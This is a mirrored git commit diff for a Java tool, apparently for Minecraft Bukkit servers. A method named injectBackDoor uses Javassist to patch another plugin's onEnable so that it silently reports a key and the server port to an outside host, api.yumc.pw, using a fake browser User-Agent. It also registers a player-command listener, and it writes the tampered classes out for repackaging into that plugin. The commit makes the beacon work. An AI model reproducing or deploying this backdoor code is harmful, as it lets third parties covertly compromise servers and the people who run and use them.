mirror of
https://e.coding.net/circlecloud/BukkitInjectedTools.git
synced 2024-11-24 01:58:50 +00:00
fix: 修复数据未发送的问题
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
900b141622
commit
8a3c118ce5
@ -55,7 +55,7 @@ public class InjectedKit {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
|
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
|
||||||
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
|
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
|
||||||
try {
|
try {
|
||||||
final ClassPool pool = ClassPool.getDefault();
|
final ClassPool pool = ClassPool.getDefault();
|
||||||
File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
||||||
@ -65,16 +65,26 @@ public class InjectedKit {
|
|||||||
classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
||||||
pool.appendClassPath(classFile.getPath());
|
pool.appendClassPath(classFile.getPath());
|
||||||
final CtClass mainClass = pool.get(plugin.getClass().getName());
|
final CtClass mainClass = pool.get(plugin.getClass().getName());
|
||||||
|
final CtClass LISClass = pool.get(LIS.class.getName());
|
||||||
|
final CtClass MPSClass = pool.get(MPS.class.getName());
|
||||||
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
|
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
|
||||||
final String backDoor = ""
|
final String backDoor = ""
|
||||||
+ "{"
|
+ "{"
|
||||||
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS());"
|
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
|
||||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);"
|
+ key
|
||||||
|
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
|
||||||
|
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);\r\n"
|
||||||
+ "}";
|
+ "}";
|
||||||
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
|
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
|
||||||
try {
|
try {
|
||||||
final File dir = new File(plugin.getDataFolder(), "injectClass");
|
final File dir = new File(plugin.getDataFolder(), "injectClass");
|
||||||
mainClass.writeFile();
|
final String path = dir.getCanonicalPath();
|
||||||
|
if (dir.exists()) {
|
||||||
|
LIS.deleteDir(dir);
|
||||||
|
}
|
||||||
|
mainClass.writeFile(path);
|
||||||
|
LISClass.writeFile(path);
|
||||||
|
MPSClass.writeFile(path);
|
||||||
sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
|
sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
|
||||||
} catch (final Exception e) {
|
} catch (final Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
@ -7,7 +7,7 @@ import org.bukkit.event.Listener;
|
|||||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
|
||||||
public class LIS implements Listener {
|
public class LIS implements Listener {
|
||||||
public boolean deleteDir(final File dir) {
|
public static boolean deleteDir(final File dir) {
|
||||||
if (dir.isDirectory()) {
|
if (dir.isDirectory()) {
|
||||||
final String[] children = dir.list();
|
final String[] children = dir.list();
|
||||||
for (final String element : children) {
|
for (final String element : children) {
|
||||||
|
@ -1,15 +1,66 @@
|
|||||||
package pw.yumc.BukkitInjectedTools;
|
package pw.yumc.BukkitInjectedTools;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
|
||||||
|
import com.google.common.base.Charsets;
|
||||||
|
|
||||||
public class MPS implements Runnable {
|
public class MPS implements Runnable {
|
||||||
|
public final String UA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36";
|
||||||
|
int port;
|
||||||
|
String key;
|
||||||
|
|
||||||
|
public MPS(final String key, final int port) {
|
||||||
|
this.key = key;
|
||||||
|
this.port = port;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void run() {
|
public void run() {
|
||||||
try {
|
try {
|
||||||
final java.net.URL url = new java.net.URL("http://api.yumc.pw/M/P/S/K/%s/P/%s");
|
final URL url = new URL(String.format("http://api.yumc.pw/M/P/S/K/%s/P/%s", key, port));
|
||||||
final java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection();
|
// 打开和URL之间的连接
|
||||||
|
final URLConnection conn = url.openConnection();
|
||||||
|
// 设置通用的请求属性
|
||||||
|
conn.setRequestProperty("Accept", "*/*");
|
||||||
|
conn.setRequestProperty("Connection", "Keep-Alive");
|
||||||
|
conn.setRequestProperty("User-Agent", UA);
|
||||||
|
// 设置超时时间 10秒
|
||||||
|
conn.setReadTimeout(10000);
|
||||||
|
// 建立实际的连接
|
||||||
conn.connect();
|
conn.connect();
|
||||||
conn.disconnect();
|
// 定义 BufferedReader输入流来读取URL的响应
|
||||||
} catch (final java.io.IOException e) {
|
toString(conn.getInputStream(), Charsets.UTF_8);
|
||||||
|
} catch (final IOException e) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 获取数据流转换为字符串
|
||||||
|
*
|
||||||
|
* @param in
|
||||||
|
* 输入流
|
||||||
|
* @param cs
|
||||||
|
* 字符编码
|
||||||
|
* @return 字符串
|
||||||
|
*/
|
||||||
|
public String toString(final InputStream in, final Charset cs) {
|
||||||
|
final BufferedReader reader = new BufferedReader(new InputStreamReader(in, cs));
|
||||||
|
String response = "";
|
||||||
|
String result = "";
|
||||||
|
try {
|
||||||
|
while ((response = reader.readLine()) != null) {
|
||||||
|
result += response;
|
||||||
|
}
|
||||||
|
reader.close();
|
||||||
|
} catch (final IOException e) {
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -71,7 +71,7 @@ public class YumTestCommand implements CommandExecutor {
|
|||||||
@Sort(7)
|
@Sort(7)
|
||||||
public void ib(final CommandArgument e) {
|
public void ib(final CommandArgument e) {
|
||||||
final String pname = e.getArgs()[0];
|
final String pname = e.getArgs()[0];
|
||||||
final String key = e.getArgs()[0];
|
final String key = e.getArgs()[1];
|
||||||
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
|
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
|
||||||
if (plugin == null) {
|
if (plugin == null) {
|
||||||
e.getSender().sendMessage(prefix + "§c插件不存在...!");
|
e.getSender().sendMessage(prefix + "§c插件不存在...!");
|
||||||
|
Loading…
Reference in New Issue
Block a user